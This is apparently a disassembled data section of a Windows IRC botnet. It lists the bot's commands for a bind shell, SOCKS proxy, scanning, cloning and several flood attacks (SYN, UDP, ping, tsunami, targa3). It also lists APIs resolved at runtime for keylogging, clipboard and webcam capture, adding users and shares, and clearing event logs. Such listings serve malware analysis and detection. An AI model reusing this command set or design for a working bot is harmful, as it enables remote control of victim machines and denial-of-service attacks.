		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_42C2E4	db  2Dh	; -		; DATA XREF: sub_401ACD+16B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A1o
		align 4
aI:					; DATA XREF: sub_401ACD+168Co
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1677o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1662o
					; ___:00437C50o
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Do
		align 10h
aQ:					; DATA XREF: sub_401ACD+1638o
					; ___:off_437C28o
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1623o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Eo
		align 10h
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15F9o
		align 4
aR:					; DATA XREF: sub_401ACD+15E4o
					; sub_401ACD+3DA8o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15CFo
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BAo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A5o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1590o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1566o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1551o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Co
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1527o
		align 4
dword_42C3A8	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Co
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1517o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FEo
		align 4
dword_42C3C8	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F3o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EEo
		align 10h
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D5o
		align 4
dword_42C3EC	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CAo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C5o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ACo
		align 10h
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1497o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1482o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Do
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1458o
		align 4
dword_42C43C	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Do
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+142Fo
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1406o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DDo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B4o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Bo
unk_42C484	db  2Dh	; -		; DATA XREF: sub_401ACD+1371o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C4B8	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1336o
					; sub_401ACD+13D2o
dword_42C4C8	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1331o
					; sub_401ACD+13CDo
dword_42C4D8	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1318o
					; sub_401ACD+13A9o
dword_42C4E8	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1313o
					; sub_401ACD+13A4o
dword_42C4F8	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B8o
					; sub_401ACD+1424o
dword_42C504	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o
					; sub_401ACD+141Fo
dword_42C510	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao
					; sub_401ACD+13FBo
dword_42C51C	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o
					; sub_401ACD+13F6o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1235o
		align 4
dword_42C534	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Ao
					; sub_401ACD+12F7o
dword_42C540	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o
					; sub_401ACD+12F2o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Co
		align 4
dword_42C558	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1201o
					; sub_401ACD+12D9o
dword_42C568	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FCo
					; sub_401ACD+12D4o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E3o
		align 4
dword_42C584	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D8o
					; sub_401ACD+1357o
dword_42C594	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D3o
					; sub_401ACD+1352o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BAo
		align 10h
dword_42C5B0	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo
					; sub_401ACD+1279o
dword_42C5BC	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo
					; sub_401ACD+1274o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1191o
dword_42C5D0	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1186o
					; sub_401ACD+125Bo
dword_42C5DC	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o
					; sub_401ACD+1256o
dword_42C5E8	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o
dword_42C5F4	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Do
dword_42C604	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1158o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+113Fo
		align 4
dword_42C624	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o
dword_42C630	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+112Fo
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1116o
dword_42C644	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EDo
		align 10h
dword_42C660	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E2o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C4o
		align 4
dword_42C67C	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BCo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Eo
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1089o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1074o
		align 4
dword_42C6A4	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1052o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Do
					; sub_401ACD+10B7o ...
		align 10h
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1034o
		align 10h
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+101Fo
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Ao
		align 10h
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF5o
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE0o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCBo
					; sub_401ACD+2D69o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB6o
					; sub_401ACD+2D58o
		align 10h
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA1o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Co
		align 10h
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F77o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F62o
		align 10h
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Do
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F38o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F23o
		align 10h
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Eo
		align 4
aD:					; DATA XREF: sub_401ACD+EF9o
					; ___:00437C54o
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE4o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ECFo
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB7o
a63		db '63',0               ; DATA XREF: sub_401ACD+D84o
		align 10h
asc_42C750:				; DATA XREF: sub_401ACD+D5Co
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D1Fo
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D14o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D03o
		align 10h
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE7o
		align 4
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD6o
		align 10h
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC4o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C56o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B92o
		align 10h
aK:					; DATA XREF: sub_401ACD+AA6o
					; sub_401ACD+3DD2o ...
		unicode	0, <k>,0
unk_42C794	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42C7C8	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42C7F8	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 10h
unk_42C830	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 4
unk_42C858	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42C89C	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42C8D8	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_42C8F0	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42C8F8	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_42C914	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_42C920	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA7F+1Bo
unk_42C924	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 10h
dword_42C960	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_42C968	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADCo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A72+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A72+16o
unk_42C97C	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 10h
unk_42C9A0	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_42C9F4	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBCo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Eo ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177CF:loc_417837o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177CF+50o
		align 10h
asc_42CA60:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DADo
		unicode	0, <!>,0
asc_42CA64:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Co ...
		unicode	0, < >,0
asc_42CA68	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402601o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B12:loc_40A77Co
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B12+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B12+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B12+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B12+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B12+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o
		align 10h
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B12:loc_40A6DEo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B12+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B12+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B12:loc_40A694o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do
		align 10h
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B12:loc_40A620o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B12+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B12:loc_40A5D6o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B12:loc_40A58Co
		align 10h
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B12+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo
					; sub_4185A4+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B12+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B12+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B12+9C5o
		align 10h
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B12+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B12+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo
		align 10h
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B12+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B12+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B12+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B12:loc_40A470o
					; sub_4185A4+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B12+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B12+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B12+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B12:loc_40A411o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o
		align 10h
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B12+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o
		align 10h
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B12:loc_40A2F1o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B12+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B12+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B12+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B12+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B12+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B12+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B12+658o
		align 10h
aAccept		db 'accept',0           ; DATA XREF: sub_409B12+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409B12+63Eo
		align 10h
aSelect		db 'select',0           ; DATA XREF: sub_409B12+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409B12+629o
		align 10h
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B12+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B12+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409B12+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B12+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B12+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B12+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409B12+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B12+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B12+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409B12+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B12+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B12+57Bo
		align 10h
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B12+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B12+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B12+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B12+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B12+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B12+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B12+525o
		align 10h
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B12+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B12+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B12+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B12+487o
		align 10h
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B12+47Ao
		align 10h
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B12+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B12+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B12:loc_409F3Fo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B12:loc_409F17o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo
		align 10h
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B12+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B12+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B12+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B12+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B12:loc_409E69o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o
		align 10h
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B12+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B12+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B12+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B12+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B12+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B12+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B12+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B12:loc_409D71o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B12+20Do
		align 10h
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B12+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao
		align 10h
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B12+1A0o
		align 10h
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B12+193o
		align 10h
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B12+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B12+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B12+15Fo
		align 10h
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B12+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B12+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B12:loc_409C47o
					; sub_424D78+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao
		align 10h
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B12+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B12+79o
		align 10h
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B12+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B12+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B12+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B12+23o
		align 4
